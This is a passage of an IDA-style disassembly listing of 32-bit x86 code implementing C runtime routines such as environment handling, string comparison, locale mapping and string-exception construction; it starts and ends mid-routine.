		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4262DF
		jmp	short loc_4262DA
; ---------------------------------------------------------------------------

loc_4262A5:				; CODE XREF: sub_4261AB+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4262DF
; ---------------------------------------------------------------------------

loc_4262AD:				; CODE XREF: sub_4261AB+BDj
					; sub_4261AB+C2j
		test	ebx, ebx
		jnz	short loc_42632B
		test	esi, esi
		jge	short loc_4262B7
		neg	esi

loc_4262B7:				; CODE XREF: sub_4261AB+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_42620F
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0

loc_4262DA:				; CODE XREF: sub_4261AB+F8j
		mov	dword_4E0B50, eax

loc_4262DF:				; CODE XREF: sub_4261AB+F6j
					; sub_4261AB+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_42632B
		push	[ebp+arg_0]
		call	sub_41AFE0
		inc	eax
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_42632B
		push	[ebp+arg_0]
		push	esi
		call	sub_41BEB0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		nop
		call	near ptr 25E0000h
		push	esi
		call	sub_41B0B1
		pop	ecx

loc_42632B:				; CODE XREF: sub_4261AB+6Ej
					; sub_4261AB+104j ...
		xor	eax, eax
		jmp	loc_426212
sub_4261AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_426332	proc near		; CODE XREF: sub_4261AB+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4E0B50
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42636D
		mov	edi, [esp+8+arg_4]

loc_426344:				; CODE XREF: sub_426332+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_426363
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_42637D
		test	al, al
		jz	short loc_42637D

loc_426363:				; CODE XREF: sub_426332+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_426344

loc_42636D:				; CODE XREF: sub_426332+Cj
		mov	eax, esi
		sub	eax, dword_4E0B50
		sar	eax, 2
		neg	eax

loc_42637A:				; CODE XREF: sub_426332+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_42637D:				; CODE XREF: sub_426332+2Bj
					; sub_426332+2Fj
		mov	eax, esi
		sub	eax, dword_4E0B50
		sar	eax, 2
		jmp	short loc_42637A
sub_426332	endp


; =============== S U B	R O U T	I N E =======================================



sub_42638A	proc near		; CODE XREF: sub_4261AB+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_426399
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_426399:				; CODE XREF: sub_42638A+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_4263AB

loc_4263A1:				; CODE XREF: sub_42638A+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_4263A1

loc_4263AB:				; CODE XREF: sub_42638A+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4263CC
		push	9
		call	sub_41DA29
		pop	ecx

loc_4263CC:				; CODE XREF: sub_42638A+38j
		mov	eax, [edi]
		mov	ebx, edi

loc_4263D0:				; CODE XREF: sub_42638A+5Bj
		test	eax, eax
		jz	short loc_4263E7
		push	eax
		add	ebx, 4
		call	sub_426464
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4263D0
; ---------------------------------------------------------------------------

loc_4263E7:				; CODE XREF: sub_42638A+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_42638A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4263F1	proc near		; CODE XREF: sub_4261AB+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4E1F9C, 0
		jnz	short loc_42640C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41BFB0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_42640C:				; CODE XREF: sub_4263F1+Aj
		mov	ecx, [ebp+arg_0]

loc_42640F:				; CODE XREF: sub_4263F1+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_426452
		movzx	edx, al
		test	byte_4E20A1[edx], 4
		jz	short loc_42643E
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_426449
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_42644D
		jmp	short loc_426446
; ---------------------------------------------------------------------------

loc_42643E:				; CODE XREF: sub_4263F1+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_426452

loc_426446:				; CODE XREF: sub_4263F1+4Bj
		inc	ecx
		jmp	short loc_42640F
; ---------------------------------------------------------------------------

loc_426449:				; CODE XREF: sub_4263F1+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_42644D:				; CODE XREF: sub_4263F1+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_426452:				; CODE XREF: sub_4263F1+25j
					; sub_4263F1+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4263F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_426464	proc near		; CODE XREF: sub_417EEE+21p
					; sub_42638A+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648B
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648B
		push	esi
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_42648B:				; CODE XREF: sub_426464+7j
					; sub_426464+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426464	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: sub_426573+19p
					; sub_42669A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D6EF
		mov	eax, esi
		pop	esi
		retn	8
sub_426490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264BA	proc near		; CODE XREF: ___:004264E5p
					; sub_426568+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_40D6B3
		mov	ecx, esi
		pop	esi
		jmp	sub_4268B6
sub_4264BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264D5	proc near		; DATA XREF: ___:00427D10o
					; ___:00427D20o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4264E1
		mov	eax, offset dword_4276A8

locret_4264E1:				; CODE XREF: sub_4264D5+5j
		retn
sub_4264D5	endp

; ---------------------------------------------------------------------------

loc_4264E2:				; DATA XREF: ___:off_427D0Co
		push	esi
		mov	esi, ecx
		call	sub_4264BA
		test	byte ptr [esp+8], 1
		jz	short loc_4264F8
		push	esi
		call	sub_41CC83
		pop	ecx

loc_4264F8:				; CODE XREF: ___:004264EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264FE	proc near		; CODE XREF: sub_426573+29p
		mov	eax, offset loc_426E32
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4264FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42654C	proc near		; DATA XREF: ___:off_427D1Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426568
		test	[esp+4+arg_0], 1
		jz	short loc_426562
		push	esi
		call	sub_41CC83
		pop	ecx

loc_426562:				; CODE XREF: sub_42654C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42654C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426568	proc near		; CODE XREF: sub_42654C+3p
					; DATA XREF: ___:00428094o
		mov	dword ptr [ecx], offset	off_427D1C
		jmp	sub_4264BA
sub_426568	endp


; =============== S U B	R O U T	I N E =======================================



sub_426573	proc near		; CODE XREF: sub_40D560+13p
					; sub_40D724+Ep
		mov	eax, offset loc_426E44
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4264FE
		push	offset dword_428090
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_426573	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4265B0	proc near		; CODE XREF: sub_4264FE+32p
					; sub_4265D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D560
		mov	eax, esi
		pop	esi
		retn	4
sub_4265B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4265D0	proc near		; CODE XREF: sub_42669A+29p
		mov	eax, offset loc_426E56
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4265D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426618	proc near		; CODE XREF: sub_426682+7p
					; sub_4266DE+7p ...
		mov	eax, offset loc_426E68
		call	sub_41CC64
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42686C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426618	endp


; =============== S U B	R O U T	I N E =======================================



sub_42665B	proc near		; DATA XREF: ___:off_427D48o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426677
		test	[esp+4+arg_0], 1
		jz	short loc_426671
		push	esi
		call	sub_41CC83
		pop	ecx

loc_426671:				; CODE XREF: sub_42665B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42665B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426677	proc near		; CODE XREF: sub_42665B+3p
					; DATA XREF: ___:0042813Co
		mov	dword ptr [ecx], offset	off_427D48
		jmp	sub_4264BA
sub_426677	endp


; =============== S U B	R O U T	I N E =======================================



sub_426682	proc near		; CODE XREF: sub_4266F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		retn	4
sub_426682	endp


; =============== S U B	R O U T	I N E =======================================



sub_42669A	proc near		; CODE XREF: sub_40D4B0+15p
					; sub_40D509+15p ...
		mov	eax, offset loc_426E7A
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4265D0
		push	offset dword_428138
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427D48
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_42669A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4266DE	proc near		; CODE XREF: sub_4266F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D48
		mov	eax, esi
		pop	esi
		retn	4
sub_4266DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4266F6	proc near		; DATA XREF: ___:00427D14o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426618
		push	offset dword_428178
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger

loc_426714:				; DATA XREF: ___:00427D50o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4266DE
		push	offset dword_428138
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger

loc_426732:				; DATA XREF: ___:00427D24o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426682
		push	offset dword_428090
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_4266F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426750	proc near
		nop
		jmp	near ptr 71B2ACCBh
sub_426750	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426756	proc near		; CODE XREF: sub_40CE40+5Ep
					; ___:00414BE5p ...
		nop
		jmp	near ptr 71AB1B7Bh
sub_426756	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42675C	proc near		; CODE XREF: sub_41C8D0+23p
					; sub_41CB74+13p
		nop
		jmp	near ptr 2880000h
sub_42675C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426762	proc near		; CODE XREF: sub_417275+E2p
					; sub_417275+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4E0BE4, 0
		push	ebx
		jnz	short loc_4267A8
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]

loc_426774:				; CODE XREF: sub_426762+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426786
		cmp	bx, 41h
		jb	short loc_426786
		add	ebx, 20h

loc_426786:				; CODE XREF: sub_426762+19j
					; sub_426762+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_426798
		cmp	ax, 41h
		jb	short loc_426798
		add	eax, 20h

loc_426798:				; CODE XREF: sub_426762+2Bj
					; sub_426762+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_4267D8
		cmp	bx, ax
		jz	short loc_426774
		jmp	short loc_4267D8
; ---------------------------------------------------------------------------

loc_4267A8:				; CODE XREF: sub_426762+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]

loc_4267B2:				; CODE XREF: sub_426762+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_426913
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_426913
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_4267D6
		cmp	bx, ax
		jz	short loc_4267B2

loc_4267D6:				; CODE XREF: sub_426762+6Dj
		pop	edi
		pop	esi

loc_4267D8:				; CODE XREF: sub_426762+3Dj
					; sub_426762+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_426762	endp


; =============== S U B	R O U T	I N E =======================================



sub_4267E2	proc near		; CODE XREF: ___:004267FAp
		mov	dword ptr [ecx], offset	off_427D68
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4267F6
		push	ecx
		call	sub_41B0B1
		pop	ecx

locret_4267F6:				; CODE XREF: sub_4267E2+Bj
		retn
sub_4267E2	endp

; ---------------------------------------------------------------------------

loc_4267F7:				; DATA XREF: ___:off_427D68o
		push	esi
		mov	esi, ecx
		call	sub_4267E2
		test	byte ptr [esp+8], 1
		jz	short loc_42680D
		push	esi
		call	sub_41CC83
		pop	ecx

loc_42680D:				; CODE XREF: ___:00426804j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------

loc_426813:				; DATA XREF: ___:off_427D70o
		push	esi
		mov	esi, ecx
		call	sub_4268B6
		test	byte ptr [esp+8], 1
		jz	short loc_426829
		push	esi
		call	sub_41CC83
		pop	ecx

loc_426829:				; CODE XREF: ___:00426820j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_42682F	proc near		; CODE XREF: sub_4264FE+1Dp
					; sub_4265D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		push	dword ptr [edi]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42685E
		push	dword ptr [edi]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx

loc_42685E:				; CODE XREF: sub_42682F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42682F	endp


; =============== S U B	R O U T	I N E =======================================



sub_42686C	proc near		; CODE XREF: sub_426618+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_4268A9
		push	dword ptr [edi+4]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4268AF
		push	dword ptr [edi+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		jmp	short loc_4268AF
; ---------------------------------------------------------------------------

loc_4268A9:				; CODE XREF: sub_42686C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax

loc_4268AF:				; CODE XREF: sub_42686C+2Ej
					; sub_42686C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42686C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268B6	proc near		; CODE XREF: sub_4264BA+16j
					; ___:00426816p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427D70
		jz	short locret_4268CB
		push	dword ptr [ecx+4]
		call	sub_41CC83
		pop	ecx

locret_4268CB:				; CODE XREF: sub_4268B6+Aj
		retn
sub_4268B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268CC	proc near		; DATA XREF: ___:00427D74o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4268D8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4268D8:				; CODE XREF: sub_4268CC+5j
		retn
sub_4268CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268D9	proc near		; CODE XREF: sub_426573+37p
					; sub_42669A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D90
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		nop
		call	near ptr 26603B1h
		pop	edi
		pop	esi
		leave
		retn	8
sub_4268D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426913	proc near		; CODE XREF: sub_426762+56p
					; sub_426762+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_426925
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------

loc_426925:				; CODE XREF: sub_426913+Bj
		cmp	dword_4E0BE4, 0
		jnz	short loc_42693F
		cmp	ax, 41h
		jb	short locret_426986
		cmp	ax, 5Ah
		ja	short locret_426986
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------

loc_42693F:				; CODE XREF: sub_426913+19j
		cmp	ax, 100h
		jnb	short loc_426959
		push	1
		push	eax
		call	sub_426BC1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426959
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------

loc_426959:				; CODE XREF: sub_426913+30j
					; sub_426913+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4E0BE4
		call	sub_426988
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426986
		mov	ax, [ebp+var_2]

locret_426986:				; CODE XREF: sub_426913+1Fj
					; sub_426913+25j ...
		leave
		retn
sub_426913	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426988	proc near		; CODE XREF: sub_426913+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DB0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4E0E3C, esi
		jnz	short loc_4269FE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	edi, 100h
		push	edi
		push	esi
		call	near ptr 2650000h
		nop
		test	eax, eax
		jz	short loc_4269DC
		mov	dword_4E0E3C, ebx
		jmp	short loc_4269FE
; ---------------------------------------------------------------------------

loc_4269DC:				; CODE XREF: sub_426988+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_4D06DC
		push	edi
		push	esi
		nop
		call	near ptr 2651378h
		test	eax, eax
		jz	loc_426B7D
		mov	dword_4E0E3C, 2

loc_4269FE:				; CODE XREF: sub_426988+2Ej
					; sub_426988+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_426A13
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426B91
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_426A13:				; CODE XREF: sub_426988+79j
		mov	eax, dword_4E0E3C
		cmp	eax, 1
		jnz	short loc_426A3A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2650000h
		nop
		jmp	loc_426B7F
; ---------------------------------------------------------------------------

loc_426A3A:				; CODE XREF: sub_426988+93j
		cmp	eax, 2
		jnz	loc_426B7D
		cmp	[ebp+arg_18], esi
		jnz	short loc_426A50
		mov	eax, dword_4E0BF4
		mov	[ebp+arg_18], eax

loc_426A50:				; CODE XREF: sub_426988+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	near ptr 2821119h
		nop
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_426B7D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426A96
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi

loc_426A96:				; CODE XREF: sub_426988+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2821119h
		test	eax, eax
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2651378h
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_426B7D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426B19
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]

loc_426B19:				; CODE XREF: sub_426988+17Dj
		cmp	ebx, esi
		jz	short loc_426B7D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2651378h
		nop
		test	eax, eax
		jz	short loc_426B7D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426B57
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426B79
		cmp	eax, edi
		jl	short loc_426B48
		mov	eax, edi

loc_426B48:				; CODE XREF: sub_426988+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_426B79
; ---------------------------------------------------------------------------

loc_426B57:				; CODE XREF: sub_426988+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_426B60
		push	esi
		push	esi
		jmp	short loc_426B66
; ---------------------------------------------------------------------------

loc_426B60:				; CODE XREF: sub_426988+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_426B66:				; CODE XREF: sub_426988+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		call	near ptr 2830000h
		nop
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_426B7D

loc_426B79:				; CODE XREF: sub_426988+1B8j
					; sub_426988+1CDj
		mov	eax, edi
		jmp	short loc_426B7F
; ---------------------------------------------------------------------------

loc_426B7D:				; CODE XREF: sub_426988+66j
					; sub_426988+B5j ...
		xor	eax, eax

loc_426B7F:				; CODE XREF: sub_426988+ADj
					; sub_426988+1F3j
